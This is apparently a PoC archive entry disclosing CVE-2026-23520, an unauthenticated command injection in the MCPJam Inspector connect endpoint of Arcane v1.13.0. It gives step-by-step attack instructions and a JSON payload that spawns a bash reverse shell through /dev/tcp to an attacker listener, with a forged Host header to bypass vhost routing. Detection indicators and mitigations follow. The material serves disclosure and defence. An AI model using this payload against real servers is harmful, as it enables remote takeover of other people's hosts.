MCPJam Inspector / Arcane MCP Connect Command Injection RCE via Host-Header Vhost Routing (CVE-2026-23520)
by kikechans · 2026-07-05
- Severity
- Critical
- CVE
- CVE-2026-23520
- Category
- web
- Affected product
- Arcane v1.13.0 (MCPJam Inspector component)
- Affected versions
- Arcane v1.13.0 and other stacks embedding vulnerable MCPJam Inspector /api/mcp/connect endpoint
- Disclosed
- 2026-07-05
- Patch status
- unpatched
Tags
Archive entry
intelseclab/poc-archiveMetadata
| Field | Value |
|---|---|
| Date Added | 2026-07-05 |
| Last Updated | 2026-05 |
| Author / Researcher | kikechans |
| CVE / Advisory | CVE-2026-23520 |
| Category | web |
| Severity | Critical |
| CVSS Score | Not specified in source |
| Status | PoC |
| Tags | mcp, mcpjam-inspector, arcane, command-injection, rce, host-header, vhost-routing, reverse-shell |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | Arcane v1.13.0 (MCPJam Inspector component) |
| Versions Affected | Arcane v1.13.0 and other stacks embedding vulnerable MCPJam Inspector /api/mcp/connect endpoint |
| Language / Platform | Python 3 exploit against a Node.js/HTTP-based MCP server |
| Authentication Required | No |
| Network Access Required | Yes |
Summary
The Model Context Protocol (MCP) connect endpoint /api/mcp/connect accepts a JSON body describing a new server connection, including a command and args array that get executed on the host without sanitization. In many deployments the vulnerable component sits behind a reverse proxy that routes strictly by Host header, so requests sent to the bare IP return a 404. This PoC crafts the malicious serverConfig payload (spawning bash -c '<reverse shell>') and explicitly forges the Host header to the internal virtual host name, bypassing the proxy routing to reach the vulnerable endpoint directly and trigger a reverse shell back to the attacker.
Vulnerability Details
Root Cause
The /api/mcp/connect endpoint passes the attacker-controlled command and args fields of the serverConfig JSON object directly to a process-spawning call without validating that they reference a legitimate, allow-listed executable.
Attack Vector
- Identify the internal virtual host name routing to the MCP Inspector instance (e.g. via recon or CTF hints).
- Start a netcat listener on the attacker host.
- Send a POST to
/api/mcp/connectwith a forgedHostheader set to the internal vhost and aserverConfigbody of{"command": "bash", "args": ["-c", "bash -i >& /dev/tcp/<lhost>/<lport> 0>&1"]}. - The reverse proxy routes the request to the vulnerable backend based on the Host header rather than the connection IP.
- The backend executes the supplied command, opening a reverse shell to the attacker.
Impact
Unauthenticated remote code execution on the host running the MCP Inspector service.
Environment / Lab Setup
Target: Arcane v1.13.0 / MCPJam Inspector behind Nginx-style Host-header vhost routing
Attacker: Python 3 + requests library, netcat listener
Proof of Concept
PoC Script
See
exploit_vhost.pyin this folder.
| |
The script POSTs a JSON serverConfig payload to /api/mcp/connect with a forged Host header matching the target virtual host, causing the backend to spawn a bash reverse shell connecting back to the attacker’s listener. A ReadTimeout on the request is the expected indicator that the shell was triggered successfully.
Detection & Indicators of Compromise
POST /api/mcp/connect HTTP/1.1
Host: mcp.internal.local
Signs of compromise:
- Requests to
/api/mcp/connectcontaining"command":"bash"or shell interpreter names in the JSON body. - Outbound reverse-shell connections (
/dev/tcp/...) originating from the MCP Inspector process. - Host headers referencing internal/virtual hostnames not normally used by external clients.
Remediation
| Action | Detail |
|---|---|
| Primary fix | No vendor patch confirmed as of 2026-07-05 — monitor for advisory |
| Interim mitigation | Restrict /api/mcp/connect to trusted callers, allow-list permitted command values, and validate Host headers against expected vhosts before routing |
References
Notes
Mirrored from https://github.com/kikechans/-Educational-PoC-CVE-2026-23520 on 2026-07-05.
| |